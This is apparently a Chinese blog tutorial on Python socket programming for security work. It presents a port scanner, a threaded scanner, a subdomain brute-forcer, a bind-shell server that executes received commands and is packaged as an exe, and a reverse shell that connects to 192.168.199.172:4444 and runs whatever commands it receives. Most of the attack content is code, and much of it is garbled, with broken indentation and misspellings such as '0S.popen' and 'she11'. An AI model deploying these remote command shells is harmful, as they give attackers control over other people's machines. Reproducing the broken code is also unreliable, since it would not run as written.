Python安全开发——socket端口扫描&多线程&客户端(服务端)建立

目录

0x01 端口扫描

 0x02 多线程

0x03 子域名

0x04 客户端建立

0x05 服务器建立


图 0-0 socket通讯过程

 

基本的函数调用可以参考如下图:

图 0-1 常用函数

0x01 端口扫描

def port_scan(ip,port):
    s=socket.socket()#建立连接
    try:
        s.connect(('ip',port) )#连接本地135端口
        print(str(port)+':open')
    except Exception as e :
        print(str(port)+':cLose')
    finally:
        s.cLose() #关闭此次连接

 在主函数调用执行

图 1-1 host和ports扫描

 再尝试用参数模式传入,直接在该脚本下调用cmd窗口即可

图 1-2 打开参数模式

 

 0x02 多线程

图 1-3 调用多线程

 

紧接着我们添加信息队列,保证线程的正常运行

def port_scan(ip):
    while not q.empty():
        port=q.get()
    s=socket.socket()
    try:
        s.connect((ip. port))
        print(str(port)+' :open')
    except Exception as e :
        print(str(port)+' :close')
    finally:
        s.close()

  • 主函数
if __name__ =='__main__':
    q = queue.Queue()
    for port in range(1,65536):
        q.put(port)
    ip = sys.argv[1]
    th_nums = sys.argv[2]
    for th_num in range(int(th_nums)):
        t = threading.Thread(target=port_scan,args=(ip))
        t.start()

0x03 子域名

def domain_ch(url):
    for u in open('dic.txt')
    urls=(u+url).split('\n','')
    try :
        ip=socket.gethostbyname(urls)
        print(urls+"|"+ip)
    except Exception as e:
        pass
图 1-4 域名解析

 

0x04 客户端建立


ip= input('pLease input connect ip:')
port=input('pLease input connect port:' )
s=socket.socket()
s.connect((ip, int(port)))
while True :
    cmdline=input('please input cmdLine:' )
    s.send( cmdline.encode())
    data=s.recv(1024).decode()
    print(data)
s.close()

0x05 服务器建立


import socket, OS
#服务端
#绑定监听端口
#接受发送来的数据
#数据进行命令执行
#结果进行发送过去
s=socket.socket( )
s.bind(('0.0.0.0',9999))
s.listen(5)
while True:
    sss,addr=s.accept()
        while True:
            data=sss.recv(1024).decode()
    s=0S.popen(data).read()
    sss.send(s.encode())
    s.close() 

再进行打包为exe,和nc功能类似

图 1-5 pyinstaller打包exe文件

 

import socket
#socket库导入
import subprocess
#执行cmd命令并输出的一个功能
import time
def connectHost(ht,pt) :
    sock=socket.socket(socket .AF_ INET, socket. SOCK_ STREAM)
#新建一个socket对象,af _inet表示ipv4 stream表示tcp//sock,rawname 手动添加协议名称
#inet6表示ipv6sock_ dgram表 示udp
    sock.connect((ht, int(pt)))#satger
#连接里面的括号需要用元组(O来设置IP地址和端口端口号用整数表示
#到这一步连接就完成了
    while True:
    #死循环:一直保持连接
        data=sock.recv(1024)
    #设置可以接受的数据量bit单位010101收到的数据赋值给-一个变量data
        data=data.decode('utf-8')
    #data变量他是byte类型,需要解码才能使用
screenData= subprocess.Popen(data,she11=Truestdout= subprocess.PIPE , stderr= subprocess.STDOUT)#stage
#subprocess最后完成的内容是一个文件对象
#data:我们输入的命令,she11:1. 识别计算机的操作系统|2 ,根据操作系统自动调用命令行
#文件的处理流程:打开文件,编辑文件,关闭文件
    while True:
    #不知道到底有多少行就直接用while循环来做每一 行的处理
        line-screenData.stdout.readlineO
    #一行一行地去读取文件内容
        m_ stdout=line.decode('gbk')
    #解码
        print(m_ stdout)
    if 1ine==b'':
    #如果一行文本什么都没有
        screenData.stdout.close()
    break
#跳出文件处理的循环但是不是推出链接
        sock.send(line.decode('gbk').encode('utf-8'))
#发送数据send和recv都是支支持byte类型
        time.sleep(1)
        sock.closeO
def main():
    host= '192.168.199.172'
    #IP地址是字符串
    port= '4444'
    connectHost(host,port)#连接到控制端
if _name_ =='_ main__ ‘ :
        main()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值